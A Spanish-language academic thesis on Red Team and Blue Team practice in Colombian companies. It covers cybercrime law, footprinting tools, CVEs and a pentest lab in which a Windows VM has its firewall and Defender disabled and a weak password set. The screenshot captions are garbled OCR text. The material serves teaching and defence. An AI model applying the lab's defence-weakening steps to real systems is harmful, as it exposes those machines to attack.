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GLOSARIO

Blue Team: es responsable de defender y proteger los sistemas de una organizacion
contra ataques cibernéticos, se enfoca en la seguridad defensiva, monitoreando la
infraestructura de TI, detectando y respondiendo a amenazas, implementando
medidas de seguridad, y realizando actividades de prevencion de intrusiones.

Red Team: es responsable de simular ataques cibernéticos contra los sistemas de
una organizacion; su objetivo es evaluar la eficacia de las medidas de seguridad
existentes al realizar pruebas de penetracidn y otros tipos de pruebas de seguridad;
identifica vulnerabilidades y puntos débiles en la infraestructura de Tl y proporciona
recomendaciones para mejorar la postura de seguridad.

Exploit: es un fragmento de software, secuencia de comandos o técnica que se
utiliza para aprovechar una vulnerabilidad en un sistema informatico, aplicacion o
red.

Vulnerabilidad: es una debilidad en un sistema informéatico, aplicacién, red o proceso
gue puede ser explotada por un atacante para comprometer la seguridad del
sistema.

Controles de seguridad: son medidas y procedimientos implementados para
proteger los activos de una organizacion contra amenazas cibernéticas, estos
controles pueden incluir politicas de seguridad, controles técnicos (como firewalls y
sistemas de deteccion de intrusiones), controles fisicos (como puertas con
cerradura y sistemas de control de acceso), controles administrativos (como
capacitacion de empleados y gestion de accesos), y otros mecanismos disefiados
para mitigar riesgos y garantizar la integridad, confidencialidad y disponibilidad de
la informacién y los sistemas.

Antivirus: programa de software disefiado para detectar, prevenir y eliminar software
malicioso, como virus, gusanos, troyanos, spyware y otros tipos de malware, de un
sistema informatico

Firewall: es una medida de seguridad que se utiliza para controlar el trafico de red
entre una red privada y una red externa, como Internet, actia como una barrera
entre las redes, filtrando el trafico segun reglas predefinidas para permitir o bloquear
la comunicacion basada en diferentes criterios, como direcciones IP, puertos y
protocolos.

Ciberataque: es un intento deliberado de comprometer la seguridad de un sistema
informatico, red o dispositivo electrénico con el fin de robar informacién, causar
dafos o interrupciones, extorsionar dinero, o llevar a cabo otras actividades
maliciosas.



Ransomware: es un tipo de malware que cifra archivos o bloquea el acceso a un
sistema informatico y luego exige un rescate o pago de rescate a cambio de
restaurar el acceso o descifrar los archivos.



RESUMEN

Este trabajo aborda la integracién y el papel crucial de los equipos de
ciberseguridad, conocidos como Red Team y Blue Team, en el fortalecimiento de
las defensas contra ciberataques en las entidades privadas de Colombia. La
seguridad informética y la salvaguarda de datos se apoyan en la colaboracion
esencial entre el equipo Red, encargado de simular ataques para descubrir fallos
de seguridad, y el equipo Blue, enfocado en la proteccién y mitigacion de estos
ataques. Resulta vital para las empresas colombianas, sin distincion de tamafio o
estructura legal, adoptar estas unidades de ciberseguridad para avanzar en la
proteccion y gestion segura de la informacion.

Las consecuencias de los ciberataques para las organizaciones colombianas son
considerables, incidiendo negativamente en lo econémico mediante la pérdida de
activos financieros, disminuyendo su productividad, y comprometiendo informacién
crucial y datos sensibles, ante la creciente amenaza que representa la
ciberdelincuencia, la labor de los equipos Red Team y Blue Team adquiere una
relevancia especial en la prevencidn y defensa contra incursiones maliciosas.

Por lo tanto, es fundamental analizar y entender la dinAmica y estrategias de los
equipos de ciberseguridad Red y Blue, dado que el Red Team evalla la robustez
de las empresas colombianas frente a ciberataques mediante pruebas de
penetracion, identificando posibles brechas de seguridad y por su parte, el Blue
Team se encarga de desarrollar y aplicar estrategias de defensa para prevenir
ataques y la filtracidn de datos. El objetivo conjunto es detectar las principales
vulnerabilidades dentro de las organizaciones y establecer un conjunto de acciones
preventivas que minimicen los riesgos e inseguridades en su infraestructura
tecnoldgica.

Este enfoque no solo mejora la postura de seguridad de las empresas colombianas,
sino que también promueve una cultura de prevencién y respuesta eficaz frente a
las amenazas cibernéticas.



INTRODUCCION

En la actualidad, el escenario global de la ciberseguridad se ha transformado en un
tablero dinAmico donde las amenazas evolucionan constantemente, exigiendo
respuestas igualmente adaptativas y sofisticadas, dentro de este panorama, las
organizaciones privadas de Colombia se encuentran en una encrucijada
particularmente desafiante.

La digitalizacidon acelerada, impulsada por la necesidad de innovacion y eficiencia,
ha expandido el perimetro de ataque, exponiendo a estas entidades a riesgos
cibernéticos sin precedentes.

La proliferacion de ataques informaticos no solo amenaza con socavar la integridad
de la informacién critica sino también con erosionar la confianza del consumidor y
comprometer la sostenibilidad econdmica de las empresas.

Ante este contexto de amenazas emergentes y persistentes, la adopcion de
estrategias proactivas y la implementacion de equipos especializados en
ciberseguridad se han convertido en elementos cruciales para la defensa efectiva
de los activos digitales, en Colombia, las organizaciones privadas han comenzado
a reconocer el valor indispensable de integrar equipos Red Team y Blue Team en
sus estructuras de ciberseguridad; estos equipos representan dos caras de una
misma moneda en la lucha contra los ciberdelincuentes: mientras el Red Team
adopta una perspectiva ofensiva, simulando ataques para identificar
vulnerabilidades, el Blue Team asume un rol defensivo, fortaleciendo las defensas
y respondiendo a las amenazas detectadas.

El propdsito de este trabajo es ofrecer una exploracion exhaustiva sobre como los
equipos Red Team y Blue Team se convierten en pilares fundamentales para la
prevencion de ciberatagues dentro de las organizaciones privadas colombianas.

Abordaremos la interaccion entre estos equipos especializados en ciberseguridad,
subrayando la importancia de su colaboracién y coordinacion. Se mostrara como el
enfoque conjunto de los equipos Red y Blue contribuye a una vision holistica de la
seguridad, permitiendo no solo la identificacion y mitigacion de vulnerabilidades de
manera efectiva sino también la creacién de estrategias de defensa robustas y
adaptativas que protejan contra futuros ataques.

A través de este analisis, se pretende proporcionar una perspectiva detallada de los
retos y soluciones en el ambito de la ciberseguridad para las organizaciones
privadas en Colombia.

Este estudio busca resaltar la relevancia de adoptar un enfoque integral y

colaborativo hacia la ciberseguridad, evidenciando cémo la sinergia entre los
equipos Red y Blue es esencial para desarrollar una infraestructura de Tl resiliente
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y segura, capaz de enfrentar y adaptarse a la evolucion constante de las amenazas
cibernéticas en el siglo XXI.

Al final, se presentardn conclusiones que enfatizan la necesidad imperativa de
fortalecer las capacidades de ciberseguridad en el sector privado colombiano, junto
con recomendaciones practicas dirigidas a mejorar la postura de seguridad de las
organizaciones frente a un panorama de ciberamenazas cada vez mas complejo y
volatil.

Este trabajo aspira a contribuir al dialogo sobre la importancia critica de la seguridad
informatica en la proteccion de los intereses nacionales y empresariales, en una era
donde la informacion se ha convertido en el recurso mas valioso y, a su vez, en el
mas vulnerable.
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1. OBJETIVOS

1.1 OBJETIVO GENERAL

Examinar las competencias y metodologias empleadas por los equipos de
seguridad Red Team y Blue Team en la gestion de incidentes cibernéticos,
resaltando las mejores practicas adoptadas por cada equipo y proponiendo
estrategias efectivas para reducir la exposicidon a amenazas en el entorno digital.

1.2 OBJETIVOS ESPECIFICOS

e Identificar cada una de las definiciones y adaptaciones en Colombia
referentes a los delitos informaticos.

e l|dentificar situaciones que puedan ser poco éticas a la hora de ejecutar
actividades de ciberseguridad.

e Recrear un escenario vulnerable que permita acceder a una maquina victima
para demostrar los impactos negativos que puede ocasionar la falta de
implementacion de seguridad perimetral en las infraestructuras de las
organizaciones.

¢ l|dentificar las fases de un ataque informatico, asi como su gestion de parte
de los equipos de respuesta a incidentes.

12



2. DESARROLLO DE TRABAJO —ETAPA 1
2.1 PROCESOS ILEGALES

En el acuerdo de confidencialidad proporcionado, varios parrafos plantean
cuestiones que podrian ser consideradas ilegales:

v' En la primera clausula, se establece que la parte receptora no podra
divulgar informacién sobre procesos ilegales dentro de HackerHouse,
esta cldusula parece sugerir que la parte receptora estaria
comprometida a encubrir actividades ilegales, lo cual es contrario a la
ley y la ética.

v' En la tercera clausula, se mencionan actividades como "datos de
chuzadas, interceptacion ilegal de informacion, accesos abusivos a
sistemas informaticos”, las cuales son précticas ilegales y deberian
ser denunciadas.

v' En la octava clausula, se establece que, si la informacion ilegal o
confidencial es encontrada en manos del receptor, este debera acudir
a un abogado privado y dejar exenta de cualquier responsabilidad
legal y penal a HackerHouse, lo que parece sugerir la obstrucciéon de
la justicia y la proteccion indebida de actividades ilegales.

2.2 LEY COLOMBIANA

De acuerdo con el anexo 3 y como profesional de ciberseguridad, se cita
especificamente el articulo 269A del Cdodigo Penal Colombiano, que establece
sanciones por delitos informaticos, la cual establece lo siguiente:

"El que, sin estar facultado para ello, obtenga, compile, sustraiga, ofrezca,
venda, intercambie, envie, compre, intercepte, divulgue, modifique o emplee
bases de datos personales, contenidas en archivos, registros publicos o
privados, sistemas informaticos o0 en cualquier otro medio de
almacenamiento de informacion, sera sancionado con prision de cuatro (4) a
ocho (8) afios y multa de quinientos (500) a mil (1.000) salarios minimos
legales mensuales vigentes."+

La primera clausula impide denunciar actividades sospechosas podria interpretarse
como un obstaculo para la denuncia de delitos informaticos, ademas la tercera

1 Avance Juridico Casa Editorial Ltda. (n.d.). Leyes desde 1992 - Vigencia expresa y control de
constitucionalidad [LEY_1273_2009]. Avance Juridico Casa Editorial Ltda., Senado De La Republica
De Colombia. http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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clausula habla sobre "datos de chuzadas, interceptacion ilegal de informacion,
accesos abusivos a sistemas informaticos" lo cual podria estar en contravencion
con este articulo del Cédigo Penal Colombiano.

2.3 COPNIA

No seria ético ni prudente aceptar un contrato y acuerdo de confidencialidad con
una organizacion que esta involucrada en procesos ilegales, independientemente
del salario ofrecido. Como ingeniero, es importante priorizar la integridad y cumplir
con los principios éticos establecidos por el COPNIA. Trabajar en una empresa que
opera de manera legal y ética es fundamental para mantener la credibilidad y el
respeto dentro de la profesion.

2.4 CIBERCRIMEN EN COLOMBIA

Segun El Tiempo (2023), la Secretaria de Seguridad y Convivencia informé que las
capacidades de las agencias de seguridad y emergencias de la ciudad estan
funcionando con normalidad y se atienden todos los casos que ingresan a través de
la linea Unica del 123. ?

Dentro de la investigacion, se logra identificar que el vector inicial de acceso fue a
través de un mensaje de correo de tipo phishing en donde los ciberdelincuentes
tuvieron acceso a credenciales validas de la organizacion las cuales les permitieron
hacer saltos en la red con el fin de realizar diferentes actividades como explotacién
de vulnerabilidades conocidas, ademas de descarga e instalacion de artefactos
maliciosos para desactivacion de AV, exfiltracion de informacion y carga util de
ransomware, para finalizar con una conexion a un servidor de comando y control
gue les permitia generar persistencia en el ataque y cifrar la informacion obtenida,
para luego publicarla en su sitio web de extorsion.

Dentro del escenario planteado se logran identificar las siguientes implicaciones
legales y éticas:

En primer lugar, el acceso no autorizado a sistemas informéaticos y la exfiltracion de
informacion sensible constituyen violaciones graves de la privacidad y la seguridad
de los datos. En Colombia, la Ley 1273 de 2009, que tipifica los delitos informaticos,
podria aplicarse en este caso. Especificamente, el articulo 269A del Codigo Penal
Colombiano establece sanciones para quienes obtengan, divulguen o modifiquen
datos sin autorizacion.

Ademas, el uso de ransomware para cifrar datos y extorsionar a la organizacion
también esta sujeto a sanciones legales. La Ley 1123 de 2007, que regula el
ejercicio de la profesion de ingenieria en Colombia, establece en su articulo 35 que

2 El Tiempo. (2023, febrero 2). Lockbit banda se atribuye ataque a seguridad de Medellin. EI Tiempo.
https://www.eltiempo.com/colombia/medellin/lockbit-banda-se-atribuye-atague-a-sequridad-de-
medellin-739779
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los ingenieros deben actuar con integridad y respetar los principios éticos de su
profesion.

Desde una perspectiva ética, el impacto en la reputacion y la confianza de la
organizacion afectada también es significativo, la falta de medidas de seguridad
adecuadas y la vulnerabilidad a ataques cibernéticos pueden tener consecuencias
devastadoras para la reputacion de la empresa y la confianza de sus clientes y
socios comerciales.

3. DESARROLLO DE TRABAJO —ETAPA 2
3.1 MARCOS REGULATORIOS EN COLOMBIA

La Ley 1273 de 2009 en Colombia se enfoca en los delitos informaticos y la
proteccion de la informacién digital, esta ley es crucial para garantizar la seguridad
de los datos personales en un entorno cada vez mas digitalizado.® A continuacion,
se describen algunos articulos principales de esta ley:

Articulo 1: define los delitos informaticos y establece que aquellos que
incurran en acciones como acceso abusivo a un sistema informatico,
interceptaciéon de datos, dafio informético, entre otros, pueden ser
sancionados segun lo estipulado en esta ley.

Articulo 2: establece las penas para los delitos informaticos, considerando
aspectos como la gravedad del delito, los dafios causados y las
circunstancias especificas de cada caso.

Articulo 3: hace referencia a la responsabilidad penal de las personas
juridicas, es decir, de las empresas u organizaciones, en caso de cometer
delitos informéticos, esto implica que dichas entidades pueden ser
sancionadas por acciones ilicitas realizadas por sus empleados en el ambito
digital.

Articulo 4: estipula la competencia de las autoridades colombianas para
investigar y juzgar los delitos informaticos que ocurran dentro del territorio
nacional.

Articulo 5: se refiere a la aplicacion de la ley en el caso de que los delitos
informaticos afecten bienes juridicos de otros paises, estableciendo que
también pueden ser perseguidos y sancionados en Colombia.

3 Normatividad sobre delitos informaticos. (2020, July 1). Policia Nacional De Colombia.
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
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Articulo 6: establece la responsabilidad de los proveedores de servicios de
internet (ISP) en la colaboracién con las autoridades para la prevencion y
persecucion de delitos informaticos, asi como en la preservacion de la
evidencia digital.

Articulo 7: hace referencia a la proteccion de la informacién contenida en
sistemas informaticos, estableciendo la obligacion de las entidades publicas
y privadas de adoptar medidas de seguridad para prevenir el acceso no
autorizado a dicha informacion.

Articulo 8: determina la competencia de las autoridades colombianas para
la investigacion y sancién de delitos informaticos que afecten la seguridad
nacional.

En resumen, la Ley 1273 de 2009 en Colombia es un marco regulatorio que busca
combatir los delitos informéticos y garantizar la proteccion de la informacién digital,
estableciendo medidas de prevencion, sanciones y colaboracion entre diferentes
actores, tanto dentro como fuera del pais.

La Ley 1581 de 2012 en Colombia es conocida como la ley de proteccion de datos
personales. Su objetivo principal es garantizar el derecho fundamental a la
privacidad de los ciudadanos al regular el tratamiento de la informacién personal
gue se realiza en el pais. Aqui tienes una explicacion general de los aspectos mas
relevantes de esta ley:

Ambito de aplicacion: la ley se aplica a todas las personas naturales o
juridicas, de naturaleza publica o privada, que realicen el tratamiento de
datos personales en Colombia.

Definiciones clave: define conceptos fundamentales como datos
personales, tratamiento de datos, titular de los datos, responsables y
encargados del tratamiento, entre otros.

Principios: establece principios que deben regir el tratamiento de datos
personales, como el principio de legalidad, finalidad, libertad, veracidad,
transparencia, seguridad y confidencialidad.

Autorizacion del titular: estipula que el tratamiento de datos personales
s6lo puede realizarse con el consentimiento previo, expreso e informado del
titular de los datos, salvo en los casos expresamente exceptuados por la ley.
Finalidad del tratamiento: los datos personales soOlo pueden ser
recolectados y tratados para fines legitimos, especificos y explicitos,
informados al titular de los datos.
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Derechos de los titulares: reconoce una serie de derechos a favor de los
titulares de los datos, como el derecho de acceso, rectificacion, actualizacion,
supresion, revocacion del consentimiento, entre otros.

Responsabilidades de los responsables y encargados del tratamiento:
establece las obligaciones y responsabilidades que tienen las entidades que
realizan el tratamiento de datos personales, asi como las medidas de
seguridad que deben implementar para proteger dichos datos.

Transferencia internacional de datos: regula la transferencia de datos
personales a terceros paises 0 a organizaciones internacionales,
garantizando un nivel adecuado de proteccion de los datos.

Registro Nacional de bases de datos: crea el Registro Nacional de Bases
de Datos como un instrumento para el control y la supervision de las
actividades de tratamiento de datos personales en Colombia.

La Ley 1581 de 2012 es una normativa integral que busca proteger los datos
personales de los ciudadanos colombianos, estableciendo principios, derechos y
responsabilidades para garantizar un tratamiento adecuado y seguro de la
informacion personal en el pais.

La Ley 1581 de 2012 establece las multas correspondientes por el incumplimiento
de sus disposiciones. La entidad encargada de regular este tema en Colombia es la
Superintendencia de Industria y Comercio (SIC).

Las multas por infracciones a la Ley 1581 de 2012 pueden ser significativas y varian
segun la gravedad de la violacién, por ejemplo, para el tratamiento indebido de datos
personales, la ley contempla multas que pueden oscilar entre 100 y 2.000 salarios
minimos mensuales legales vigentes, ademas, para el incumplimiento de las
ordenes de la autoridad de proteccion de datos, las multas pueden llegar hasta los
2.000 salarios minimos mensuales legales vigentes.

Es importante destacar que la SIC, como entidad encargada de velar por el
cumplimiento de la Ley 1581 de 2012, tiene la facultad de imponer estas multas y
tomar las medidas necesarias para garantizar el cumplimiento de la normativa de
proteccion de datos en el pais.

3.2 APLICACIONES DE PENTESTING

Footprinting, también conocida como etapa de reconocimiento, se enfoca en

recopilar informacion sobre el objetivo del pentesting, esto puede incluir identificar

direcciones IP, nombres de dominio, infraestructura de red, empleados clave,
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tecnologias utilizadas y cualquier otra informacion relevante que pueda ayudar al
equipo de pruebas a comprender mejor la superficie de ataque y planificar los
siguientes pasos del pentesting.

Herramientas de codigo abierto (Opensource) para Footprinting:#

Google: utilizar motores de busqueda avanzados para buscar informacion
publica sobre la organizacion.

Whois: herramientas de busqueda de Whois para obtener informacion sobre
dominios y direcciones IP.

Nmap: escaner de red para descubrir dispositivos y servicios en una red.

TheHarvester: herramienta para recopilar informacién de correo electrénico,
subdominios y nombres de hosts utilizando fuentes publicas.

Herramientas comerciales (pagas) para Footprinting:

Maltego: herramienta de inteligencia de codigo abierto utilizada para
recopilar y correlacionar informacion de diversas fuentes.®

Shodan: motor de busqueda que permite buscar dispositivos conectados a
Internet, incluidas camaras web, servidores, enrutadores, etc.

Recon-ng: marco de reconocimiento web que proporciona multiples médulos
para recopilar informacién sobre un obijetivo.

SpiderFoot: herramienta de reconstruccion de informacion para recopilar
datos de diversas fuentes abiertas y privadas.

La etapa de Footprinting es esencial en el pentesting por varias razones, las cuales
se describen a continuacion:

Comprension del objetivo: proporciona informacion valiosa sobre la
infraestructura, tecnologias utilizadas, empleados clave y otros aspectos
relevantes del objetivo, o que ayuda al equipo de pruebas a comprender
mejor el entorno que estan evaluando.

4 Pinto Rico, R. A., Hernandez Medina, M. J., Pinz6n Hernandez, C. C., Diaz L6pez, D. O., & Camilo Garcia
Ruiz, J. C. (2018). Inteligencia de fuentes abierta (OSINT) para operaciones de ciberseguridad.” Aplicacion de
OSINT en un contexto colombiano y analisis de sentimientos”. Revista vinculos, 15(2).
https://core.ac.uk/download/pdf/229162221.pdf

5 Porras Palma, A. J. (2020). VirusTotal plugin for Maltego. https://riuma.uma.es/xmlui/handle/10630/19837
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Planificacion estratégica: permite al equipo de pentesting planificar de
manera efectiva los siguientes pasos del proceso, identificar posibles
vulnerabilidades y puntos débiles en el sistema, y desarrollar un enfoque de
ataque mas eficiente.

Minimizacidn de riesgos: al obtener una vision completa de la superficie de
ataque, el equipo de pentesting puede identificar y mitigar proactivamente
posibles riesgos de seguridad antes de que puedan ser explotados por
actores maliciosos.

3.3 QUE ES UN CVE Y SU ESTRUCTURA

CVE significa "Common Vulnerabilities and Exposures” (Vulnerabilidades y
Exposiciones Comunes). Es un diccionario de identificadores Uunicos para
vulnerabilidades de seguridad en software y hardware. Los CVESs son asignados por
una organizacion llamada Mitre Corporation y se utilizan en todo el mundo para
identificar y referirse a vulnerabilidades especificas de manera Unica y consistente.®

CVE: es el prefijo que indica que es un identificador de vulnerabilidad
comun.

YYYY: es el afio en el que se asigna el identificador.

NNNN: es un niumero de secuencia que identifica la vulnerabilidad
especifica dentro del afio en cuestion.

¢, Como se utiliza y como se articula con el CVE?

Exploit-DB es un repositorio en linea de exploits y técnicas de hacking que a
menudo estan vinculadas a CVEs especificos. ’

BUsqueda de exploits: en el sitio web de exploit-DB, puedes buscar exploits
utilizando palabras clave, nombres de software o nimeros CVE especificos.

Filtrado por CVE: exploit-DB generalmente etiqueta sus exploits con los
numeros CVE asociados, esto facilita la busqueda de exploits especificos
relacionados con una vulnerabilidad conocida.

Verificacion de la explotabilidad: los investigadores de seguridad pueden
utilizar exploit-DB para verificar si una vulnerabilidad es explotable y si
existen exploits disponibles publicamente, esto les ayuda a evaluar el riesgo
y tomar medidas para mitigar la vulnerabilidad en sistemas vulnerables.

6 El concepto de CVE. (n.d.). https://www.redhat.com/es/topics/security/what-is-cve
7 OFFSEC’s Exploit Database archive. (n.d.). https://www.exploit-db.com/ 13 Rio Fernandez, C. D.

(2022).
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3.4 ANEXO 1 - ESCENARIO 1

A continuacion, se muestra evidencia del montaje banco de trabajo en donde se
utilizoé la ultima versién de Kali Linux 2023.4 y un Windows 10 x64.

Inicialmente, se descarga una imagen de maquina virtual para virtual box en el sitio

web de Kali Linux y se carga al virtualizador.

Figura 1. Instalacién de maquina Kali Linux.

§J Oracle VM VirtualBox Administrado

~ [m]
!" Seleccienar un archivo de maquina virtual X
L > Descargas v C Buscar en Descargas £
Organizar - Nueva carpeta =- 1 @
A Nombre Fecha de modificacion Tipo Tamario
Inicio
* Hace mucho tiempo ~
| Galeria 2023.4
kali-linux-2023.4-virtualbox-amd64 30/11/2023 2:05 p. m. Carpeta de archivos -amd64
> @ OneDrive

[ Escritorio
b Descargas
= Documentos

S Imagenes

B b vicin

Nombre de archivo: “

V‘ Archivos de maqguina virtual (*» v

T
| @ Red
Adaptador 1:  Intel PRO/1000 MT Desktop (NAT)
Fuente: propia.
. .. P
Figura 2. Instalacién de Kali Linux VM.
NF Oracle VM VirtualBox Administradol
| i? Seleccienar un archivo de méaquina virtual X
&« v > Desc.. » kali-linux-2023.4-virtualbox-amd... v C Buscar en kali-linux-2023.4-.. R

H Organizar ~ Nueva carpeta

Nombre
Y Inicio
~ Hace mucho tiempo
_H] Galeria
W kali-linux-2023.4-virtualbox-amd64
> @ OneDrive
@l Escritorio

k Descargas
=] Documentos

P Imagenes

E VI

- O @

v
Fecha de modificacién Tamafio

Tipo

30/11/2023 2:05 p. m. VirtualBox Machin... 3

Nombre de archivo:

v| Archivos de maquina virtual (*» ~

Fuente: propia.
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Figura 3. Instalacién de Kali Linux VM.

0]
170 At I_j Fiie! O
0o Herramientas ﬂw‘} uJ ot -
o Mueva  Afadir Configuracion  Descartar  Iniciar
[] ] i o
PR o223 4-virtualboxcam... — Sess Uronmesces
B () Apagada H=  Nombre: kali-linux-2023 4-virtualbox-amdé4

Sistema operativo: Debian (64-bit)

(8] sistema

Memaria base: 2048 MB kali-linux-2023.4-
Procesadores: 2 =
Orden ce arranque: Disco duro, Gptca virtualbox-amd64
Aceleracidn: Paginacién anidada, PAE/NX, Paravirtualizacién
KVM
M pantalia
Memoria de video: 128 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacién: Inhabilitado

2] Aimacenamiento

Controlador: IDE
Dispositivo IDE secundario 0:  [Unidad dptica] Vacio
Controlador: SATA

Puerto SATA 0: kali-linux-2023.4-virtualbox-amdé4.vdi (Normal, 80,09 GB)
1 Audio
Controlador de anfitrin: Windows DirectSound
Controlador: ICH ACS7
m Red

Fuente: propia.

Posteriormente, se realiza la descarga de una imagen iso de Windows 10, la cual
se carga en el virtual box, como se muestra a continuacion, adicionalmente se le
asigna un nombre.

Figura 4. Instalacion de Windows.

N
Nombre y sistema operativo de la maquina virtual
Seleccione un nombre descriptivo y carpeta destino para la nueva maquina virtual. El nombre que seleccione serd usado por ‘
VirtualBox para identificar esta mdquina. Adicionalmente, puede seleccionar una imagen ISO que puede ser usada para
instalar el sistema operativo invitado. i
‘ Nombre: V
Carpeta: C:\Users\Acer\VirtualBox VMs ~ ‘
Y 4
Imagen ISO: <no seleccionado> ~ |
Edicidn:
Tipo:  Microsoft Windows
Versign: Windows 10 (64-bit)
Omitir instalacién desatendida
() No hay imagen IS0 seleccionada, el SO invitado serd necesario instalarlo manualmente.
Ayuda Modo experto Anterior Siguiente Cancelar

Fuente: propia.
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Se elige la imagen de disco.

Figura 5. Instalacién de Windows.

VirtualBox Administrador

o X
I‘ ‘% Herra j e CJ
JUJ nj Abrir b8
&« v 4 > Descargas v C Buscar en Descargas »r
Qrganizar v Nueva carpeta == (W] 0
v
A Nombre Fecha de modificacion Tipo Temario
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~ Hoy
El Galeria
D Windows 22/02/2024 3:48 p. m. Archivo de image... 4.609.9
> @ OneDrive

~ Hace mucho tiempo

kali-linux-2023.4-virtualbox-amdé4 30/11/2023 2:05 p. m. Carpeta de archivos

@l Escritorio
i Descargas
= Documentos

P9 Imagenes

I 2 wa

Nombre de archivo: |Windows ~ | 15O Images(*.iso =IS0) ~

Abrir Cancelar

| Adaotador 1: Intel PRO/1000 MT Deskton (NATY

Fuente: propia.

Se asigna un usuario y contrasefa.

Figura 6. Instalacién de Windows.

tualBox Administrador

= o X
-
1)z [0] e
J‘Uj Herramientas Lu“ -
Nueva  Afiadir Configuracién  Descartar  Iniciar
N virtual ? X

Configuracion de instalacion desatendida de SO invitado
Puede configurar Ia instalacién del SO invitado | usuario, contraseffa y nombre de
méguina. Adicionalmente puede habilftr la instalacién de los complementos del invitade. Para los invitados
Windows es posible proporclonar una clave de producto, 3
Usuario y contrasefa Opciones adicionales d

.

Clave de prodcuto: #####-seess-grsssfrees-s
~a / Nombre de usuario: windows <
—_—— Nombre de maquina: indows @
Contrasefia: 12345 s —
- Nombre de dominio: myguest.virtualbox.org
Repetir contrasefia: 12345 £

[ mstalar en segundo plano

(] complementos del invitado

150 de complementos del invitado:  [@] C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso

Ayuda Anterior Siguiente Cancelar
) Audio
Controlador de anfitrién: Windows DirectSound
Controlador: ICH AC97

Adaptador 1: Intel PRO/1000 MT Desktop (NAT)

e
Fuente: propia.
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Se asigna 50 GB para el disco duro de la maquina virtual.

Figura 7. Instalacién de Windows.

=

N

) Herremientas
| 5
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<5

Ayuda

Fuente: propia.

oo

Confiquracién

Hueva _ Aftadir

Disco duro virtual

Descartar _Iniciar

Silo desea puede afiadir un nuevo disco dura vitual a la nueva maquina. Puede crear un nuevo archivo de disco
duro o seleccionar uno existente. De forma alternativa puede crear una méquina virtual sin un disco duro virtual.

© crear un disco duro virtual ahora
Tamaiio de disco:

4,00 MB

7

() Reservar tamaiio completo

() Usar un archivo de disco duro virtual existente

kal-linux-2023.4-virtualbox-amd64.vdi (Normal, 80,09 GB)

() No afiadir un disco duro virtual

7 Audio

Controlador de anfitrién:

Controlador:

-

m’ Red

Adaptador 1.

Anterior

Windows DirectSound
ICH ACO7

Intel PRO/1000 MT Desktop (NAT)

50,00 GB

2,00 TB

Cancelar

Se eligen 5051 MB de memoria y se comienza el proceso de instalacion.

Figura 8. Instalacién de Windows.

[A["] Herramient
[
?—. kali-finux-20
) ) Apagada E}
—
w windows
'd0) (L) Apagada &l
QP
-
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A0

General Sistema

Sistema Flaca base  Procesador

Pantalla Memoria base:

Almacenamiento

Orden de arranque:
Audio
Red
Puertos serie Chipset:
se TPM:

Dispositive apuntader:
Carpetas compartidas
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Fuente: propia.
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Figura 9. Instalacién de Windows.

El programa de instalacion se esta iniciando

Fuente: propia.

Figura 10. Instalacién de Windows.

@ ) Programa de instalacién de Windows

:Dénde quieres instalar Windows?

Nombre Tamafiototal  Espacio libre Tipo

;7 Espacio sin asignar en la unidad 0 500 GB 50.0 GB

43 Actualizar 7% Eliminar J Formatear

Cargar contr ) Extender

Siguiente

1 Recopilar informacién 2 Instalando

Fuente: propia.
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Figura 11. Instalacién de Windows.

8 Windows [Corriendo] - Orac

VM VirtualBox

A O @ L) E o4
3 o0 [ ] 2 o il 1 4 (@] 7y mERECHA

Fuente: propia.

Se configuran las direcciones IP de las maquinas.

Figura 12. Configuracion de IPs.
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25



A continuacién, se ponen las maquinas con opcion de red interna y se selecciona la
misma red interna.

Figura 13. Configuracion de IPs.

B ceneral Red
B sistemo Adaptador 1 2 & Adaptador 4
{
B i W oo Red
Conectado a: Red interna
g4 Amacenamiants B | sistema Adaptador 1
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Carpstas compartidas
H Interfaz de usuario
¢
Aceptar Cancelar Ayuda
[ " # | CTRL DERECHA Aceptar cancelar Apuda

Fuente: propia.

A continuacion, se muestran las direcciones IP asignhadas a cada maquina.

Figura 14. Configuracion de IPs.

& &

A N ‘ N 2 32 & Simbolo del sistema
root@kali: fhomekali
File Actions Edit View Help
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File System R r dropped @ ov
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dropped @ overrun: er o collisions @
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Loopback)
.

collisions @

/home/kali

Fuente: propia.
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Se baja el firewall en el Windows.

Figura 15. Configuracion de escenario.

ptadc Configuracion

s Defender - o x

i & Firewall de Wi

1 @ < Sotemay seguridad > Firewall d Windows Defender . ;

oteger tu PC con Firewall de Windows De
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Eth| ¥
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e Act No conectadc
P Conectado
Redes en lugares publicos como aeropuertos o cafeterias
Ma
stado de Firewall de Windows Defender Desactivado
aciend S P Conexiones entrantes Bloquear todas las conexiones a aplicaciones que

o estén en la lsta de aplicaciones permitidas

Redes publicas activas Red no identificads

do de natificacién: Ntificarme cusndo Firewall de Windows
Defender bloquee una nueva aplicacién

Segunidad y mentenimiento

Fuente: propia.
Se deshabilita el Defender.

Figura 16. Configuracion de escenario.

Seguridad de Windows

Configuracién de Proteccion contra

%%
virus y amenazas

Visualiza y actualiza la configuracién de Proteccién contra virus y
amenazas parﬁntw'\rus de Microsoft Defender

Internety

Proteccion en tiempo real

Localiza el malware e impide que se instale o ejecute en el dispositivo.
Puedes desactivar esta apcién durante un breve periodo antes de que
vuelva a activarse automaticamente.

La proteccion en tiempo real estd desactivada, lo que pone en riesgo
el dispositivo

(@ ) Desactivado

Proteccion basada en la nube

Proporciena una proteccién mayer y mas rapida con acceso a los datos de
proteccién mas recientes en la nube. Funciona mejor cuando el envio
automatico de muestras esté activado.

Lo proteccion basada en la nube esti desactivad. EI Ignorar
dispositivo podria ser vulnerable.

a Desactivado

Fuente: propia.
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Se lanza un ping a cada maquina para verificar conexion, efectivamente funciona.

Figura 17. Configuracion de escenario.

Fuente: propia.

4. ESARROLLO DE TRABAJO - ETAPA 3

4.1 ANEXO 4 — ESCENARIO 3 ENFOCADO A REDTEAM
4.1.1 HERRAMIENTAS SOFTWARE

Metasploit: es un conjunto de herramientas de codigo abierto utilizado para la
evaluacién de seguridad y pruebas de penetracion, el cual cuenta con diferentes
capacidades que se listan a continuacion:

Framework de exploit: ofrece un amplio conjunto de exploits, payloads
(cargas utiles) y mdédulos auxiliares que permite encontrar y aprovechar
vulnerabilidades en sistemas informéaticos.

Base de datos de vulnerabilidades: cuenta con una base de datos de
vulnerabilidades en constante actualizacion, que permite a los usuarios
buscar y obtener informacién detallada sobre vulnerabilidades conocidas.

Interfaz graficay de linea de comandos: se puede utilizar a través de una
